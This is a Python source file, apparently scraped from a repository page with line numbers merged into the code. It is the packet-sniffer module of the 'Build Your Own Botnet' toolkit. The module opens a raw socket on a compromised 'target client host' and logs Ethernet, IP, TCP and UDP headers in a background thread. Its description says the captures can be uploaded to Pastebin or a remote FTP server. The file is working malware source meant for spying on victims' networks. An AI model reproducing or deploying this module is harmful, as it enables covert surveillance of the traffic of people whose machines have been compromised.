Path: blob/master/web-gui/buildyourownbotnet/modules/packetsniffer.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Packet Sniffer (Build Your Own Botnet)'34# standard libarary5import time6import struct7import socket8import binascii9import threading1011try:12from StringIO import StringIO # Python 213except ImportError:14from io import StringIO # Python 31516# utilities17import util1819# globals20packages = []21platforms = ['linux2','darwin']22results = {}23log = StringIO()24flag = threading.Event()25usage = 'packetsniffer [mode]'26desription = """27Capture packets on the target client host machine's local network28and optionally upload them to Pastebin or to a remote FTP server29"""3031# main32def _udp_header(data):33try:34udp_hdr = struct.unpack('!4H', data[:8])35src = udp_hdr[0]36dst = udp_hdr[1]37length = udp_hdr[2]38chksum = udp_hdr[3]39data = data[8:]40globals()['log'].write('\n================== UDP HEADER ==================')41globals()['log'].write('\n================================================')42globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Source', src))43globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Dest', dst))44globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Length', length))45globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Check Sum', chksum))46globals()['log'].write('\n================================================')47return data48except Exception as e:49globals()['log'].write("\nError in {} header: '{}'".format('UDP', str(e)))5051def _tcp_header(recv_data):52try:53tcp_hdr = struct.unpack('!2H2I4H', recv_data[:20])54src_port = tcp_hdr[0]55dst_port = tcp_hdr[1]56seq_num = tcp_hdr[2]57ack_num = tcp_hdr[3]58data_ofs = tcp_hdr[4] >> 1259reserved = (tcp_hdr[4] >> 6) & 0x03ff60flags = tcp_hdr[4] & 0x003f61flagdata = {62'URG' : bool(flags & 0x0020),63'ACK' : bool(flags & 0x0010),64'PSH' : bool(flags & 0x0008),65'RST' : bool(flags & 0x0004),66'SYN' : bool(flags & 0x0002),67'FIN' : bool(flags & 0x0001)68}69win = tcp_hdr[5]70chk_sum = tcp_hdr[6]71urg_pnt = tcp_hdr[7]72recv_data = recv_data[20:]73globals()['log'].write('\n================== TCP HEADER ==================')74globals()['log'].write('\n================================================')75globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Source', src_port))76globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Target', dst_port))77globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Seq Num', seq_num))78globals()['log'].write('\n{:>20} , {}\t\t'.format('Ack Num', ack_num))79globals()['log'].write('\n{:>20} , {}\t\t'.format('Flags', ', '.join([flag for flag in flagdata if flagdata.get(flag)])))80globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Window', win))81globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Check Sum', chk_sum))82globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Urg Pnt', urg_pnt))83globals()['log'].write('\n================================================')84return recv_data85except Exception as e:86globals()['log'].write("\nError in {} header: '{}'".format('TCP', str(e)))8788def _ip_header(data):89try:90ip_hdr = struct.unpack('!6H4s4s', data[:20])91ver = ip_hdr[0] >> 1292ihl = (ip_hdr[0] >> 8) & 0x0f93tos = ip_hdr[0] & 0x00ff94tot_len = ip_hdr[1]95ip_id = ip_hdr[2]96flags = ip_hdr[3] >> 1397fragofs = ip_hdr[3] & 0x1fff98ttl = ip_hdr[4] >> 899ipproto = ip_hdr[4] & 0x00ff100chksum = ip_hdr[5]101src = socket.inet_ntoa(ip_hdr[6])102dest = socket.inet_ntoa(ip_hdr[7])103data = data[20:]104globals()['log'].write('\n================== IP HEADER ===================')105globals()['log'].write('\n================================================')106globals()['log'].write('\n{:>20} , {}\t\t\t'.format('VER', ver))107globals()['log'].write('\n{:>20} , {}\t\t\t'.format('IHL', ihl))108globals()['log'].write('\n{:>20} , {}\t\t\t'.format('TOS', tos))109globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Length', tot_len))110globals()['log'].write('\n{:>20} , {}\t\t\t'.format('ID', ip_id))111globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Flags', flags))112globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Frag Offset', fragofs))113globals()['log'].write('\n{:>20} , {}\t\t\t'.format('TTL', ttl))114globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Next Protocol', ipproto))115globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Check Sum', chksum))116globals()['log'].write('\n{:>20} , {}\t\t'.format('Source IP', src))117globals()['log'].write('\n{:>20} , {}\t\t'.format('Dest IP', dest))118globals()['log'].write('\n================================================')119return data, ipproto120except Exception as e:121globals()['log'].write("\nError in {} header: '{}'".format('IP', str(e)))122123124def _eth_header(data):125try:126ip_bool = False127eth_hdr = struct.unpack('!6s6sH', data[:14])128dst_mac = binascii.hexlify(eth_hdr[0])129src_mac = binascii.hexlify(eth_hdr[1])130proto = eth_hdr[2] >> 8131globals()['log'].write('\n================================================')132globals()['log'].write('\n================== ETH HEADER ==================')133globals()['log'].write('\n================================================')134globals()['log'].write('\n{:>20} , {}\t'.format('Target MAC', '{}:{}:{}:{}:{}:{}'.format(dst_mac[0:2],dst_mac[2:4],dst_mac[4:6],dst_mac[6:8],dst_mac[8:10],dst_mac[10:12])))135globals()['log'].write('\n{:>20} , {}\t'.format('Source MAC', '{}:{}:{}:{}:{}:{}'.format(src_mac[0:2],src_mac[2:4],src_mac[4:6],src_mac[6:8],src_mac[8:10],src_mac[10:12])))136globals()['log'].write('\n{:>20} , {}\t\t\t'.format('Protocol', proto))137globals()['log'].write('\n================================================')138if proto == 8:139ip_bool = True140data = data[14:]141return data, ip_bool142except Exception as e:143globals()['log'].write("\nError in {} header: '{}'".format('ETH', str(e)))144145def _run():146global flag147# try:148sniffer_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))149while True:150# flag.wait()151# try:152recv_data = sniffer_socket.recv(2048)153recv_data, ip_bool = _eth_header(recv_data)154if ip_bool:155recv_data, ip_proto = _ip_header(recv_data)156if ip_proto == 6:157recv_data = _tcp_header(recv_data)158elif ip_proto == 17:159recv_data = _udp_header(recv_data)160# except Exception as e:161# util.log(str(e))162# break163try:164sniffer_socket.close()165except: pass166# except Exception as e:167# util.log(str(e))168169170def run():171"""172Monitor the host network and capture packets173174`Optional`175:param int seconds: duration in seconds (default: 30)176177"""178t = threading.Thread(target=_run, name=time.time())179t.daemon = True180t.start()181return t182183184